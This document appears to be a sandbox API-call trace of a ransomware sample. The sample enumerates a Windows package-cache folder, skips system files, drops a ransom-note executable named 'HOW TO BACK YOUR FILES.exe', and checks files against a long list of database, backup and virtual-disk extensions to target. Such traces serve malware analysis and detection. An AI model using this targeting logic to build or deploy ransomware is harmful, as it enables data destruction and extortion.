	[0063.979] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa9368710, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0x2f4237d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f4237d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0063.979] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0063.979] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0063.979] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0063.979] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0063.979] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f4237d0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2f4237d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0063.979] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0063.979] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa9368710, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0x2f4237d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f4237d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="vcRuntimeAdditional_amd64", cAlternateFileName="VCRUNT~1")) returned 1
	[0063.979] lstrcmpiW (lpString1="vcRuntimeAdditional_amd64", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0063.979] lstrcmpiW (lpString1="vcRuntimeAdditional_amd64", lpString2="Apollon865.txt.exe") returned 1
	[0063.979] lstrcmpiW (lpString1="vcRuntimeAdditional_amd64", lpString2=".") returned 1
	[0063.979] lstrcmpiW (lpString1="vcRuntimeAdditional_amd64", lpString2="..") returned 1
	[0063.979] lstrcmpiW (lpString1="vcRuntimeAdditional_amd64", lpString2="windows") returned -1
	[0063.979] lstrcmpiW (lpString1="vcRuntimeAdditional_amd64", lpString2="bootmgr") returned 1
	[0063.979] lstrcmpiW (lpString1="vcRuntimeAdditional_amd64", lpString2="temp") returned 1
	[0063.979] lstrcmpiW (lpString1="vcRuntimeAdditional_amd64", lpString2="pagefile.sys") returned 1
	[0063.979] lstrcmpiW (lpString1="vcRuntimeAdditional_amd64", lpString2="boot") returned 1
	[0063.980] lstrcmpiW (lpString1="vcRuntimeAdditional_amd64", lpString2="ids.txt") returned 1
	[0063.980] lstrcmpiW (lpString1="vcRuntimeAdditional_amd64", lpString2="ntuser.dat") returned 1
	[0063.980] lstrcmpiW (lpString1="vcRuntimeAdditional_amd64", lpString2="perflogs") returned 1
	[0063.980] lstrcmpiW (lpString1="vcRuntimeAdditional_amd64", lpString2="MSBuild") returned 1
	[0063.980] lstrlenW (lpString="vcRuntimeAdditional_amd64") returned 25
	[0063.980] lstrlenW (lpString="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\*") returned 94
	[0063.980] lstrcpyW (in: lpString1=0x119e6c2, lpString2="vcRuntimeAdditional_amd64" | out: lpString1="vcRuntimeAdditional_amd64") returned="vcRuntimeAdditional_amd64"
	[0063.980] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fd68
	[0063.980] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xee) returned 0x59a170
	[0063.980] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x59fd70 | out: ListHead=0x5b75f0, ListEntry=0x59fd70) returned 0x59fc70
	[0063.980] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa9368710, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0x2f4237d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f4237d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="vcRuntimeAdditional_amd64", cAlternateFileName="VCRUNT~1")) returned 0
	[0063.980] FindClose (in: hFindFile=0x5ca250 | out: hFindFile=0x5ca250) returned 1
	[0063.980] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x59fd70
	[0063.980] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64") returned="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64"
	[0063.980] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a170 | out: hHeap=0x580000) returned 1
	[0063.980] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fd68 | out: hHeap=0x580000) returned 1
	[0063.980] lstrlenW (lpString="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64") returned 118
	[0063.980] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64" | out: lpString1="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64") returned="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64"
	[0063.980] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0063.980] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\package cache\\{e512788e-c50b-3858-a4b9-73ad5f3f9e93}v14.10.25017\\packages\\vcruntimeadditional_amd64\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0063.981] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c
	[0063.981] GetLastError () returned 0x0
	[0063.981] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0063.981] ReadFile (in: hFile=0x15c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0063.981] CloseHandle (hObject=0x15c) returned 1
	[0063.981] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0063.981] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0063.981] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa9368710, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0x2f4237d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f4237d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca250
	[0063.981] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0063.981] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0063.981] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0063.981] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa9368710, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0x2f4237d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f4237d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0063.981] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0063.981] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0063.981] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0063.981] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0063.981] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdae7f300, ftCreationTime.dwHighDateTime=0x1d28824, ftLastAccessTime.dwLowDateTime=0xdae7f300, ftLastAccessTime.dwHighDateTime=0x1d28824, ftLastWriteTime.dwLowDateTime=0xdae7f300, ftLastWriteTime.dwHighDateTime=0x1d28824, nFileSizeHigh=0x0, nFileSizeLow=0x59bde5, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="cab1.cab", cAlternateFileName="")) returned 1
	[0063.982] lstrcmpiW (lpString1="cab1.cab", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0063.982] lstrcmpiW (lpString1="cab1.cab", lpString2="Apollon865.txt.exe") returned 1
	[0063.982] lstrcmpiW (lpString1="cab1.cab", lpString2=".") returned 1
	[0063.982] lstrcmpiW (lpString1="cab1.cab", lpString2="..") returned 1
	[0063.982] lstrcmpiW (lpString1="cab1.cab", lpString2="windows") returned -1
	[0063.982] lstrcmpiW (lpString1="cab1.cab", lpString2="bootmgr") returned 1
	[0063.982] lstrcmpiW (lpString1="cab1.cab", lpString2="temp") returned -1
	[0063.982] lstrcmpiW (lpString1="cab1.cab", lpString2="pagefile.sys") returned -1
	[0063.982] lstrcmpiW (lpString1="cab1.cab", lpString2="boot") returned 1
	[0063.982] lstrcmpiW (lpString1="cab1.cab", lpString2="ids.txt") returned -1
	[0063.982] lstrcmpiW (lpString1="cab1.cab", lpString2="ntuser.dat") returned -1
	[0063.982] lstrcmpiW (lpString1="cab1.cab", lpString2="perflogs") returned -1
	[0063.982] lstrcmpiW (lpString1="cab1.cab", lpString2="MSBuild") returned -1
	[0063.982] lstrlenW (lpString="cab1.cab") returned 8
	[0063.982] lstrlenW (lpString="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\*") returned 120
	[0063.982] lstrcpyW (in: lpString1=0x119e6f6, lpString2="cab1.cab" | out: lpString1="cab1.cab") returned="cab1.cab"
	[0063.982] lstrlenW (lpString="cab1.cab") returned 8
	[0063.982] lstrlenW (lpString="Apollon865") returned 10
	[0063.982] lstrlenW (lpString=".dll") returned 4
	[0063.982] lstrcmpiW (lpString1="cab1.cab", lpString2=".dll") returned 1
	[0063.982] lstrlenW (lpString=".lnk") returned 4
	[0063.982] lstrcmpiW (lpString1="cab1.cab", lpString2=".lnk") returned 1
	[0063.982] lstrlenW (lpString=".ini") returned 4
	[0063.982] lstrcmpiW (lpString1="cab1.cab", lpString2=".ini") returned 1
	[0063.982] lstrlenW (lpString=".sys") returned 4
	[0063.982] lstrcmpiW (lpString1="cab1.cab", lpString2=".sys") returned 1
	[0063.982] lstrlenW (lpString="cab1.cab") returned 8
	[0063.982] lstrlenW (lpString="bak") returned 3
	[0063.982] lstrcmpiW (lpString1="cab", lpString2="bak") returned 1
	[0063.982] lstrlenW (lpString="ba_") returned 3
	[0063.982] lstrcmpiW (lpString1="cab", lpString2="ba_") returned 1
	[0063.982] lstrlenW (lpString="dbb") returned 3
	[0063.982] lstrcmpiW (lpString1="cab", lpString2="dbb") returned -1
	[0063.983] lstrlenW (lpString="vmdk") returned 4
	[0063.983] lstrcmpiW (lpString1=".cab", lpString2="vmdk") returned -1
	[0063.983] lstrlenW (lpString="rar") returned 3
	[0063.983] lstrcmpiW (lpString1="cab", lpString2="rar") returned -1
	[0063.983] lstrlenW (lpString="zip") returned 3
	[0063.983] lstrcmpiW (lpString1="cab", lpString2="zip") returned -1
	[0063.983] lstrlenW (lpString="tgz") returned 3
	[0063.983] lstrcmpiW (lpString1="cab", lpString2="tgz") returned -1
	[0063.983] lstrlenW (lpString="vbox") returned 4
	[0063.983] lstrcmpiW (lpString1=".cab", lpString2="vbox") returned -1
	[0063.983] lstrlenW (lpString="vdi") returned 3
	[0063.983] lstrcmpiW (lpString1="cab", lpString2="vdi") returned -1
	[0063.983] lstrlenW (lpString="vhd") returned 3
	[0063.983] lstrcmpiW (lpString1="cab", lpString2="vhd") returned -1
	[0063.983] lstrlenW (lpString="vhdx") returned 4
	[0063.983] lstrcmpiW (lpString1=".cab", lpString2="vhdx") returned -1
	[0063.983] lstrlenW (lpString="avhd") returned 4
	[0063.983] lstrcmpiW (lpString1=".cab", lpString2="avhd") returned -1
	[0063.983] lstrlenW (lpString="db") returned 2
	[0063.983] lstrcmpiW (lpString1="ab", lpString2="db") returned -1
	[0063.983] lstrlenW (lpString="db2") returned 3
	[0063.983] lstrcmpiW (lpString1="cab", lpString2="db2") returned -1
	[0063.983] lstrlenW (lpString="db3") returned 3
	[0063.983] lstrcmpiW (lpString1="cab", lpString2="db3") returned -1
	[0063.983] lstrlenW (lpString="dbf") returned 3
	[0063.983] lstrcmpiW (lpString1="cab", lpString2="dbf") returned -1
	[0063.983] lstrlenW (lpString="mdf") returned 3
	[0063.983] lstrcmpiW (lpString1="cab", lpString2="mdf") returned -1
	[0063.983] lstrlenW (lpString="mdb") returned 3
	[0063.983] lstrcmpiW (lpString1="cab", lpString2="mdb") returned -1
	[0063.983] lstrlenW (lpString="sql") returned 3
	[0063.983] lstrcmpiW (lpString1="cab", lpString2="sql") returned -1
	[0063.983] lstrlenW (lpString="sqlite") returned 6
	[0063.983] lstrcmpiW (lpString1="b1.cab", lpString2="sqlite") returned -1
	[0063.983] lstrlenW (lpString="sqlite3") returned 7
	[0063.984] lstrcmpiW (lpString1="ab1.cab", lpString2="sqlite3") returned -1
	[0063.984] lstrlenW (lpString="sqlitedb") returned 8
	[0063.984] lstrlenW (lpString="xml") returned 3
	[0063.984] lstrcmpiW (lpString1="cab", lpString2="xml") returned -1
	[0063.984] lstrlenW (lpString="$er") returned 3
	[0063.984] lstrcmpiW (lpString1="cab", lpString2="$er") returned 1
	[0063.984] lstrlenW (lpString="4dd") returned 3
	[0063.984] lstrcmpiW (lpString1="cab", lpString2="4dd") returned 1
	[0063.984] lstrlenW (lpString="4dl") returned 3
	[0063.984] lstrcmpiW (lpString1="cab", lpString2="4dl") returned 1
	[0063.984] lstrlenW (lpString="^^^") returned 3
	[0063.984] lstrcmpiW (lpString1="cab", lpString2="^^^") returned 1
	[0063.984] lstrlenW (lpString="abs") returned 3
	[0063.984] lstrcmpiW (lpString1="cab", lpString2="abs") returned 1
	[0063.984] lstrlenW (lpString="abx") returned 3
	[0063.984] lstrcmpiW (lpString1="cab", lpString2="abx") returned 1
	[0063.984] lstrlenW (lpString="accdb") returned 5
	[0063.984] lstrcmpiW (lpString1="1.cab", lpString2="accdb") returned -1
	[0063.984] lstrlenW (lpString="accdc") returned 5
	[0063.984] lstrcmpiW (lpString1="1.cab", lpString2="accdc") returned -1
	[0063.984] lstrlenW (lpString="accde") returned 5
	[0063.984] lstrcmpiW (lpString1="1.cab", lpString2="accde") returned -1
	[0063.984] lstrlenW (lpString="accdr") returned 5
	[0063.984] lstrcmpiW (lpString1="1.cab", lpString2="accdr") returned -1
	[0063.984] lstrlenW (lpString="accdt") returned 5
	[0063.984] lstrcmpiW (lpString1="1.cab", lpString2="accdt") returned -1
	[0063.984] lstrlenW (lpString="accdw") returned 5
	[0063.984] lstrcmpiW (lpString1="1.cab", lpString2="accdw") returned -1
	[0063.984] lstrlenW (lpString="accft") returned 5
	[0063.984] lstrcmpiW (lpString1="1.cab", lpString2="accft") returned -1
	[0063.984] lstrlenW (lpString="adb") returned 3
	[0063.984] lstrcmpiW (lpString1="cab", lpString2="adb") returned 1
	[0063.984] lstrlenW (lpString="adb") returned 3
	[0063.984] lstrcmpiW (lpString1="cab", lpString2="adb") returned 1
	[0063.985] lstrlenW (lpString="ade") returned 3
	[0063.985] lstrcmpiW (lpString1="cab", lpString2="ade") returned 1
	[0063.985] lstrlenW (lpString="adf") returned 3
	[0063.985] lstrcmpiW (lpString1="cab", lpString2="adf") returned 1
	[0063.985] lstrlenW (lpString="adn") returned 3
	[0063.985] lstrcmpiW (lpString1="cab", lpString2="adn") returned 1
	[0063.985] lstrlenW (lpString="adp") returned 3
	[0063.985] lstrcmpiW (lpString1="cab", lpString2="adp") returned 1
	[0063.985] lstrlenW (lpString="alf") returned 3
	[0063.985] lstrcmpiW (lpString1="cab", lpString2="alf") returned 1
	[0063.985] lstrlenW (lpString="ask") returned 3
	[0063.985] lstrcmpiW (lpString1="cab", lpString2="ask") returned 1
	[0063.985] lstrlenW (lpString="btr") returned 3
	[0063.985] lstrcmpiW (lpString1="cab", lpString2="btr") returned 1
	[0063.985] lstrlenW (lpString="cat") returned 3
	[0063.985] lstrcmpiW (lpString1="cab", lpString2="cat") returned -1
	[0063.985] lstrlenW (lpString="cdb") returned 3
	[0063.985] lstrcmpiW (lpString1="cab", lpString2="cdb") returned -1
	[0063.985] lstrlenW (lpString="ckp") returned 3
	[0063.985] lstrcmpiW (lpString1="cab", lpString2="ckp") returned -1
	[0063.985] lstrlenW (lpString="cma") returned 3
	[0063.985] lstrcmpiW (lpString1="cab", lpString2="cma") returned -1
	[0063.985] lstrlenW (lpString="cpd") returned 3
	[0063.985] lstrcmpiW (lpString1="cab", lpString2="cpd") returned -1
	[0063.985] lstrlenW (lpString="dacpac") returned 6
	[0063.985] lstrcmpiW (lpString1="b1.cab", lpString2="dacpac") returned -1
	[0063.985] lstrlenW (lpString="dad") returned 3
	[0063.985] lstrcmpiW (lpString1="cab", lpString2="dad") returned -1
	[0063.985] lstrlenW (lpString="dadiagrams") returned 10
	[0063.985] lstrlenW (lpString="daschema") returned 8
	[0063.985] lstrlenW (lpString="db-journal") returned 10
	[0063.985] lstrlenW (lpString="db-shm") returned 6
	[0063.985] lstrcmpiW (lpString1="b1.cab", lpString2="db-shm") returned -1
	[0063.985] lstrlenW (lpString="db-wal") returned 6
	[0063.986] lstrcmpiW (lpString1="b1.cab", lpString2="db-wal") returned -1
	[0063.986] lstrlenW (lpString="dbc") returned 3
	[0063.986] lstrcmpiW (lpString1="cab", lpString2="dbc") returned -1
	[0063.986] lstrlenW (lpString="dbs") returned 3
	[0063.986] lstrcmpiW (lpString1="cab", lpString2="dbs") returned -1
	[0063.986] lstrlenW (lpString="dbt") returned 3
	[0063.986] lstrcmpiW (lpString1="cab", lpString2="dbt") returned -1
	[0063.986] lstrlenW (lpString="dbv") returned 3
	[0063.986] lstrcmpiW (lpString1="cab", lpString2="dbv") returned -1
	[0063.986] lstrlenW (lpString="dbx") returned 3
	[0063.986] lstrcmpiW (lpString1="cab", lpString2="dbx") returned -1
	[0063.986] lstrlenW (lpString="dcb") returned 3
	[0063.986] lstrcmpiW (lpString1="cab", lpString2="dcb") returned -1
	[0063.986] lstrlenW (lpString="dct") returned 3
	[0063.986] lstrcmpiW (lpString1="cab", lpString2="dct") returned -1
	[0063.986] lstrlenW (lpString="dcx") returned 3
	[0063.986] lstrcmpiW (lpString1="cab", lpString2="dcx") returned -1
	[0063.986] lstrlenW (lpString="ddl") returned 3
	[0063.986] lstrcmpiW (lpString1="cab", lpString2="ddl") returned -1
	[0063.986] lstrlenW (lpString="dlis") returned 4
	[0063.986] lstrcmpiW (lpString1=".cab", lpString2="dlis") returned -1
	[0063.986] lstrlenW (lpString="dp1") returned 3
	[0063.986] lstrcmpiW (lpString1="cab", lpString2="dp1") returned -1
	[0063.986] lstrlenW (lpString="dqy") returned 3
	[0063.986] lstrcmpiW (lpString1="cab", lpString2="dqy") returned -1
	[0063.986] lstrlenW (lpString="dsk") returned 3
	[0063.986] lstrcmpiW (lpString1="cab", lpString2="dsk") returned -1
	[0063.986] lstrlenW (lpString="dsn") returned 3
	[0063.986] lstrcmpiW (lpString1="cab", lpString2="dsn") returned -1
	[0063.986] lstrlenW (lpString="dtsx") returned 4
	[0063.986] lstrcmpiW (lpString1=".cab", lpString2="dtsx") returned -1
	[0063.986] lstrlenW (lpString="dxl") returned 3
	[0063.986] lstrcmpiW (lpString1="cab", lpString2="dxl") returned -1
	[0063.986] lstrlenW (lpString="eco") returned 3
	[0063.986] lstrcmpiW (lpString1="cab", lpString2="eco") returned -1
	[0063.986] lstrlenW (lpString="ecx") returned 3
	[0063.987] lstrcmpiW (lpString1="cab", lpString2="ecx") returned -1
	[0063.987] lstrlenW (lpString="edb") returned 3
	[0063.987] lstrcmpiW (lpString1="cab", lpString2="edb") returned -1
	[0063.987] lstrlenW (lpString="epim") returned 4
	[0063.987] lstrcmpiW (lpString1=".cab", lpString2="epim") returned -1
	[0063.987] lstrlenW (lpString="fcd") returned 3
	[0063.987] lstrcmpiW (lpString1="cab", lpString2="fcd") returned -1
	[0063.987] lstrlenW (lpString="fdb") returned 3
	[0063.987] lstrcmpiW (lpString1="cab", lpString2="fdb") returned -1
	[0063.987] lstrlenW (lpString="fic") returned 3
	[0063.987] lstrcmpiW (lpString1="cab", lpString2="fic") returned -1
	[0063.987] lstrlenW (lpString="flexolibrary") returned 12
	[0063.987] lstrlenW (lpString="fm5") returned 3
	[0063.987] lstrcmpiW (lpString1="cab", lpString2="fm5") returned -1
	[0063.987] lstrlenW (lpString="fmp") returned 3
	[0063.987] lstrcmpiW (lpString1="cab", lpString2="fmp") returned -1
	[0063.987] lstrlenW (lpString="fmp12") returned 5
	[0063.987] lstrcmpiW (lpString1="1.cab", lpString2="fmp12") returned -1
	[0063.987] lstrlenW (lpString="fmpsl") returned 5
	[0063.987] lstrcmpiW (lpString1="1.cab", lpString2="fmpsl") returned -1
	[0063.987] lstrlenW (lpString="fol") returned 3
	[0063.987] lstrcmpiW (lpString1="cab", lpString2="fol") returned -1
	[0063.987] lstrlenW (lpString="fp3") returned 3
	[0063.987] lstrcmpiW (lpString1="cab", lpString2="fp3") returned -1
	[0063.987] lstrlenW (lpString="fp4") returned 3
	[0063.987] lstrcmpiW (lpString1="cab", lpString2="fp4") returned -1
	[0063.987] lstrlenW (lpString="fp5") returned 3
	[0063.987] lstrcmpiW (lpString1="cab", lpString2="fp5") returned -1
	[0063.987] lstrlenW (lpString="fp7") returned 3
	[0063.987] lstrcmpiW (lpString1="cab", lpString2="fp7") returned -1
	[0063.987] lstrlenW (lpString="fpt") returned 3
	[0063.987] lstrcmpiW (lpString1="cab", lpString2="fpt") returned -1
	[0063.987] lstrlenW (lpString="frm") returned 3
	[0063.987] lstrcmpiW (lpString1="cab", lpString2="frm") returned -1
	[0063.988] lstrlenW (lpString="gdb") returned 3
	[0063.988] lstrcmpiW (lpString1="cab", lpString2="gdb") returned -1
	[0063.988] lstrlenW (lpString="gdb") returned 3
	[0063.988] lstrcmpiW (lpString1="cab", lpString2="gdb") returned -1
	[0063.988] lstrlenW (lpString="grdb") returned 4
	[0063.988] lstrcmpiW (lpString1=".cab", lpString2="grdb") returned -1
	[0063.988] lstrlenW (lpString="gwi") returned 3
	[0063.988] lstrcmpiW (lpString1="cab", lpString2="gwi") returned -1
	[0063.988] lstrlenW (lpString="hdb") returned 3
	[0063.988] lstrcmpiW (lpString1="cab", lpString2="hdb") returned -1
	[0063.988] lstrlenW (lpString="his") returned 3
	[0063.988] lstrcmpiW (lpString1="cab", lpString2="his") returned -1
	[0063.988] lstrlenW (lpString="ib") returned 2
	[0063.988] lstrcmpiW (lpString1="ab", lpString2="ib") returned -1
	[0063.988] lstrlenW (lpString="idb") returned 3
	[0063.988] lstrcmpiW (lpString1="cab", lpString2="idb") returned -1
	[0063.988] lstrlenW (lpString="ihx") returned 3
	[0063.988] lstrcmpiW (lpString1="cab", lpString2="ihx") returned -1
	[0063.988] lstrlenW (lpString="itdb") returned 4
	[0063.988] lstrcmpiW (lpString1=".cab", lpString2="itdb") returned -1
	[0063.988] lstrlenW (lpString="itw") returned 3
	[0063.988] lstrcmpiW (lpString1="cab", lpString2="itw") returned -1
	[0063.988] lstrlenW (lpString="jet") returned 3
	[0063.988] lstrcmpiW (lpString1="cab", lpString2="jet") returned -1
	[0063.988] lstrlenW (lpString="jtx") returned 3
	[0063.988] lstrcmpiW (lpString1="cab", lpString2="jtx") returned -1
	[0063.988] lstrlenW (lpString="kdb") returned 3
	[0063.988] lstrcmpiW (lpString1="cab", lpString2="kdb") returned -1
	[0063.988] lstrlenW (lpString="kexi") returned 4
	[0063.988] lstrcmpiW (lpString1=".cab", lpString2="kexi") returned -1
	[0063.988] lstrlenW (lpString="kexic") returned 5
	[0063.988] lstrcmpiW (lpString1="1.cab", lpString2="kexic") returned -1
	[0063.988] lstrlenW (lpString="kexis") returned 5
	[0063.988] lstrcmpiW (lpString1="1.cab", lpString2="kexis") returned -1
	[0063.988] lstrlenW (lpString="lgc") returned 3
	[0063.989] lstrcmpiW (lpString1="cab", lpString2="lgc") returned -1
	[0063.989] lstrlenW (lpString="lwx") returned 3
	[0063.989] lstrcmpiW (lpString1="cab", lpString2="lwx") returned -1
	[0063.989] lstrlenW (lpString="maf") returned 3
	[0063.989] lstrcmpiW (lpString1="cab", lpString2="maf") returned -1
	[0063.989] lstrlenW (lpString="maq") returned 3
	[0063.989] lstrcmpiW (lpString1="cab", lpString2="maq") returned -1
	[0063.989] lstrlenW (lpString="mar") returned 3
	[0063.989] lstrcmpiW (lpString1="cab", lpString2="mar") returned -1
	[0063.989] lstrlenW (lpString="marshal") returned 7
	[0063.989] lstrcmpiW (lpString1="ab1.cab", lpString2="marshal") returned -1
	[0063.989] lstrlenW (lpString="mas") returned 3
	[0063.989] lstrcmpiW (lpString1="cab", lpString2="mas") returned -1
	[0063.989] lstrlenW (lpString="mav") returned 3
	[0063.989] lstrcmpiW (lpString1="cab", lpString2="mav") returned -1
	[0063.989] lstrlenW (lpString="maw") returned 3
	[0063.989] lstrcmpiW (lpString1="cab", lpString2="maw") returned -1
	[0063.989] lstrlenW (lpString="mdbhtml") returned 7
	[0063.989] lstrcmpiW (lpString1="ab1.cab", lpString2="mdbhtml") returned -1
	[0063.989] lstrlenW (lpString="mdn") returned 3
	[0063.989] lstrcmpiW (lpString1="cab", lpString2="mdn") returned -1
	[0063.989] lstrlenW (lpString="mdt") returned 3
	[0063.989] lstrcmpiW (lpString1="cab", lpString2="mdt") returned -1
	[0063.989] lstrlenW (lpString="mfd") returned 3
	[0063.989] lstrcmpiW (lpString1="cab", lpString2="mfd") returned -1
	[0063.989] lstrlenW (lpString="mpd") returned 3
	[0063.989] lstrcmpiW (lpString1="cab", lpString2="mpd") returned -1
	[0063.989] lstrlenW (lpString="mrg") returned 3
	[0063.989] lstrcmpiW (lpString1="cab", lpString2="mrg") returned -1
	[0063.989] lstrlenW (lpString="mud") returned 3
	[0063.989] lstrcmpiW (lpString1="cab", lpString2="mud") returned -1
	[0063.989] lstrlenW (lpString="mwb") returned 3
	[0063.989] lstrcmpiW (lpString1="cab", lpString2="mwb") returned -1
